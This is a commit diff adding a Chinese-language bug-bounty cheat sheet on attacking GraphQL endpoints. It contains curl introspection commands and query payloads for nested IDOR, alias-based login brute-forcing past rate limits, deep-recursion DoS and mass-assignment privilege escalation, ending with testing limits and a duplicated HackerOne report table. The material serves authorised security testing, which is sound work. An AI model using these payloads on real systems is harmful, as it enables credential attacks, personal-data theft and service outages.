reverse-skills-max: initial public release (restored, redacted, hardened)
This commit is contained in:
@@ -0,0 +1,253 @@
|
||||
# GraphQL
|
||||
|
||||
> 视角:黑盒,针对 GraphQL 端点的特有攻击
|
||||
|
||||
## 1. 一句话说清
|
||||
|
||||
GraphQL = 一个端点(通常 `/graphql`),所有 query / mutation 走它。
|
||||
特有风险:Introspection 暴露 schema、字段级授权缺失、嵌套查询绕过权限、深度递归 DoS。
|
||||
SRC 价值:嵌套 IDOR + 字段越权 = P1。
|
||||
|
||||
---
|
||||
|
||||
## 2. 高频入口点
|
||||
|
||||
```
|
||||
/graphql /api/graphql /v1/graphql
|
||||
/graphiql /playground /api-explorer
|
||||
/graphql.php /graphql.json
|
||||
```
|
||||
|
||||
测试方法是否 GraphQL:
|
||||
|
||||
```bash
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query":"query{__typename}"}' https://target/graphql
|
||||
|
||||
→ 返回 {"data":{"__typename":"Query"}} = 是 GraphQL
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 3. 探测手法
|
||||
|
||||
### 3.1 Introspection(最先做)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
__schema {
|
||||
types {
|
||||
name
|
||||
fields {
|
||||
name
|
||||
type { name kind ofType { name } }
|
||||
args { name type { name } }
|
||||
}
|
||||
}
|
||||
queryType { name }
|
||||
mutationType { name }
|
||||
subscriptionType { name }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
```bash
|
||||
# 一行命令
|
||||
curl -X POST -H "Content-Type: application/json" \
|
||||
-d '{"query":"{__schema{types{name fields{name}}}}"}' \
|
||||
https://target/graphql | jq
|
||||
|
||||
# 工具
|
||||
graphql-cop https://target/graphql
|
||||
graphqlmap
|
||||
clairvoyance(无 introspection 的 schema 推断)
|
||||
```
|
||||
|
||||
拿到 schema → 找出所有敏感字段(`password`、`ssn`、`creditCard`、`apiKey`、`balance`)。
|
||||
|
||||
### 3.2 字段级越权
|
||||
|
||||
```graphql
|
||||
# 顶层是公开 query
|
||||
query {
|
||||
publicPost(id: 123) {
|
||||
title
|
||||
author {
|
||||
email # ❌ 可能没权限校验
|
||||
phone
|
||||
orders { # ❌ 嵌套 IDOR
|
||||
id
|
||||
amount
|
||||
creditCard
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
**重点**:顶层接口"看起来公开",但通过嵌套返回敏感字段。
|
||||
|
||||
### 3.3 IDOR via id
|
||||
|
||||
```graphql
|
||||
query {
|
||||
user(id: 100) { # 改成其他 ID
|
||||
email
|
||||
privateMessages { content }
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
### 3.4 批量查询 / 别名滥用(绕过限频)
|
||||
|
||||
```graphql
|
||||
query {
|
||||
a: login(user:"admin",pass:"a") { token }
|
||||
b: login(user:"admin",pass:"b") { token }
|
||||
c: login(user:"admin",pass:"c") { token }
|
||||
...
|
||||
z: login(user:"admin",pass:"z") { token }
|
||||
}
|
||||
# 一次请求触发 26 次登录
|
||||
```
|
||||
|
||||
绕过常规 rate-limit(每个 HTTP 请求计 1 次)。
|
||||
|
||||
### 3.5 深度递归 DoS
|
||||
|
||||
```graphql
|
||||
type User {
|
||||
friends: [User!]!
|
||||
}
|
||||
|
||||
# 攻击查询
|
||||
query {
|
||||
user(id:1) {
|
||||
friends {
|
||||
friends {
|
||||
friends {
|
||||
friends { ... 嵌套 100 层 ... }
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
观察响应时间 / 超时。
|
||||
|
||||
### 3.6 Mutation Mass Assignment
|
||||
|
||||
```graphql
|
||||
mutation {
|
||||
updateUser(input: {
|
||||
id: 1,
|
||||
name: "x",
|
||||
isAdmin: true, # 试这个
|
||||
role: ADMIN
|
||||
}) { id name }
|
||||
}
|
||||
```
|
||||
|
||||
### 3.7 CSRF on GraphQL
|
||||
|
||||
```
|
||||
1. GraphQL 多数支持 GET(query 在 query string)
|
||||
2. 查 Content-Type: application/x-www-form-urlencoded 是否被接受
|
||||
3. 接受 → CSRF 可行(普通 form 即可触发)
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. Bypass 矩阵
|
||||
|
||||
| 拦 | 绕 |
|
||||
|---|---|
|
||||
| Introspection 关闭 | clairvoyance 字段推断 / 抓客户端代码(mobile / web)找 query |
|
||||
| 顶层鉴权 | 嵌套字段越权 |
|
||||
| 批量限频 | 别名 / 多 query |
|
||||
| 深度限制 | 折叠:`...frag` 片段循环展开 |
|
||||
| ID 类型校验 | 改 GraphQL 类型:`String` 改成 `Int`、`ID` 改成 `null` |
|
||||
|
||||
---
|
||||
|
||||
## 5. 利用提权 / 横向
|
||||
|
||||
```
|
||||
Introspection → 完整攻击面图
|
||||
嵌套 IDOR → 大批 PII
|
||||
别名 → 撞库 / 短信轰炸
|
||||
mutation Mass Assignment → 提权
|
||||
深度 → DoS
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 6. 真实案例指纹
|
||||
|
||||
| 案例 | 一句话 |
|
||||
|------|------|
|
||||
| GitHub GraphQL | 嵌套字段越权拿 private repo 信息 |
|
||||
| Shopify | 别名爆破登录 |
|
||||
| HackerOne 自身 | 多次报告 IDOR |
|
||||
|
||||
通用:
|
||||
- 端点返回 `{"errors":[{"message":"Cannot query field..."}]}` → GraphQL 报错有用
|
||||
- Introspection 200 → 立即拉 schema
|
||||
- mutation 接受额外字段 → Mass Assignment
|
||||
|
||||
---
|
||||
|
||||
## 7. 复现 / 证据要点
|
||||
|
||||
### 7.1 PoC
|
||||
|
||||
```http
|
||||
POST /graphql HTTP/1.1
|
||||
Host: target.com
|
||||
Content-Type: application/json
|
||||
Authorization: Bearer A_TOKEN
|
||||
|
||||
```
|
||||
|
||||
### 7.2 Introspection
|
||||
|
||||
```bash
|
||||
curl -X POST https://target/graphql \
|
||||
-H 'Content-Type: application/json' \
|
||||
-d '{"query":"{__schema{types{name fields{name}}}}"}' \
|
||||
> schema.json
|
||||
|
||||
grep -A 5 -E "(password|ssn|credit|secret|key|token)" schema.json
|
||||
```
|
||||
|
||||
### 7.3 CVSS
|
||||
|
||||
```
|
||||
Introspection 暴露 = 5.3 Medium
|
||||
嵌套 IDOR PII = 6.5–8.1
|
||||
别名爆破 = 7.5
|
||||
mutation Mass Assignment → admin = 8.8–9.8
|
||||
深度递归 DoS = 5.3–6.5
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 8. 不要做的事
|
||||
|
||||
- **禁**:用别名爆破真实账号密码。在自己测试账号上演示。
|
||||
- **禁**:用深度递归 DoS 实际打瘫服务。10 层、几次请求即可证明。
|
||||
- **禁**:嵌套 IDOR 拖出大量数据。3 个不同 ID 的样本足够。
|
||||
|
||||
## H1 真实案例
|
||||
|
||||
_共 1 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| Critical | 25000 usd | HackerOne | [Disclosing PolicyPageAssetGroup in Private Programs via /graphql `gid://hackerone/PolicyPageAsse…](https://hackerone.com/reports/1618347) | Summary:** Hi team, I understand what's going on Description:** Just a recent update gives the results of private programs Step… |
|
||||
_共 1 份 HackerOne 已披露 High/Critical 报告命中本类,按 (赏金 + 投票×100) 排序取 Top 12_
|
||||
|
||||
| Severity | $ | 程序 | 标题(点击看原报告) | 摘要 |
|
||||
|---|--:|---|---|---|
|
||||
| Critical | 25000 usd | HackerOne | [Disclosing PolicyPageAssetGroup in Private Programs via /graphql `gid://hackerone/PolicyPageAsse…](https://hackerone.com/reports/1618347) | Summary:** Hi team, I understand what's going on Description:** Just a recent update gives the results of private programs Step… |
|
||||
Reference in New Issue
Block a user